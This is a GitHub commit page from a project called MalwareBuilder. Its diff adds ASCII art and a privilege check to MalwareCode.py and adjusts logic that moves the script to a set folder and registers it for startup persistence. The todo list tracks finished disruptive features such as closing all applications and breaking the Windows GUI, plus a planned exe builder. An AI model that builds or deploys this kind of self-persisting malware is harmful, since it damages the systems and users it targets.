Skip to content

Commit 2e003c7

Browse files
Created MalwareBuilder
Bug Fixes, Minor changes and ASCII art
1 parent 9fea32a commit 2e003c7

File tree

2 files changed

+24
-8
lines changed

2 files changed

+24
-8
lines changed

MalwareCode.py

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,20 @@
3434

3535
LOG_LEVEL = config.get("Core Settings", "LOG_LEVEL", fallback="CRITICAL")
3636
USE_DAEMON = config.getboolean("Core Settings", "USE_DAEMON", fallback=True)
37+
ASCII_ART = r"""
38+
_____ .__
39+
/ \ _____ | |__ _ _______ _______ ____
40+
/ \ / \\__ \ | |\ \/ \/ /\__ \\_ __ \_/ __ \
41+
/ Y \/ __ \| |_\ / / __ \| | \/\ ___/ version: INDEV
42+
\____|__ (____ /____/\/\_/ (____ /__| \___ > by: Shahm Najeeb (DefinetlyNotAI)
43+
\/ \/ \/ \/ date: 16/01/2025
44+
________ __
45+
/ _____/ ____ ____ ________________ _/ |_ ___________
46+
/ \ ____/ __ \ / \_/ __ \_ __ \__ \\ __\/ _ \_ __ \
47+
\ \_\ \ ___/| | \ ___/| | \// __ \| | ( <_> ) | \/
48+
\______ /\___ >___| /\___ >__| (____ /__| \____/|__|
49+
\/ \/ \/ \/ \/
50+
"""
3751

3852
# -------------------- Setup Logging Mechanism --------------------- #
3953

@@ -1903,11 +1917,12 @@ def start(self):
19031917

19041918
"""
19051919
try:
1920+
print(ASCII_ART)
19061921
if not is_admin():
19071922
log.critical("This script requires administrator privileges.")
19081923
exit(1)
19091924
1910-
if PATH != MOVE_TO:
1925+
if os.path.abspath(__file__) != config.get("Core Settings", "MOVE_TO", fallback="C:\\Users\\Hp"):
19111926
Core().move_script() # Move the script
19121927
Core().add_to_startup() # Add the script to startup execution
19131928
log.info("Script moved to new folder, quitting now, will run on startup.")

malware todo.txt

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -46,18 +46,19 @@ Bug out Windows GUI ✅ 🤡
4646
Teleport all windows ✅ 🤡
4747
Close all applications ✅
4848

49-
Make all features print, not appearing unless --verbose is used ✅ (Still flag logic to be implemented)
49+
Make all features print, not appearing unless VERBOSE is used ✅ (Still flag logic to be implemented)
5050

51-
Finally implement the dynamic exe programming feature,
52-
Use both config.ini or flags, if script is run raw, ask what to use, config.ini or flags
53-
If run with --config, then use config.ini, and if the parameter after --config is a path, use the path
54-
for the config.ini file, else use the default config.ini path in the same directory as the script,
55-
Handle all errors and exceptions, as needed
51+
Use config.ini if script is run raw, show help menu,
52+
If run with a path after the script use the path for the config.ini file
53+
54+
Handle all errors and exceptions, as needed ✅ (Somewhat done, still needs more work, but I'm happy with it)
55+
56+
Implement the dynamic exe programming feature,
5657

5758
Add feature to do is_admin() check in beginning of the creation of the malware,
5859
and if not, then exit the program. ✅
5960

60-
Add colorlog and ascii art, logging in a file only if --log is used
61+
Add colorlog and ascii art to the program ✅
6162

6263
Over every minor thing add a try except to prevent crashing
6364

0 commit comments

Comments
 (0)